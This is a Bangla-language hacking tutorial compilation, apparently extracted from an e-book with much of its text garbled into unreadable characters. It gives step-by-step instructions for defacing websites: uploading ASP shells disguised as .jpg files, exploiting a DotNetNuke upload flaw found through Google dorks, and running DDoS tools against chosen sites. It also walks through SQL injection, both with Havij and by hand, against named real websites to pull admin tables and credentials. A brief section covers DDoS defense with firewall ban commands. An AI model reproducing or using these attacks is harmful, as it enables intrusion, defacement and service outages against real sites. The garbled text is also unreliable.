কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 31: Hacking Bangla eBook

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

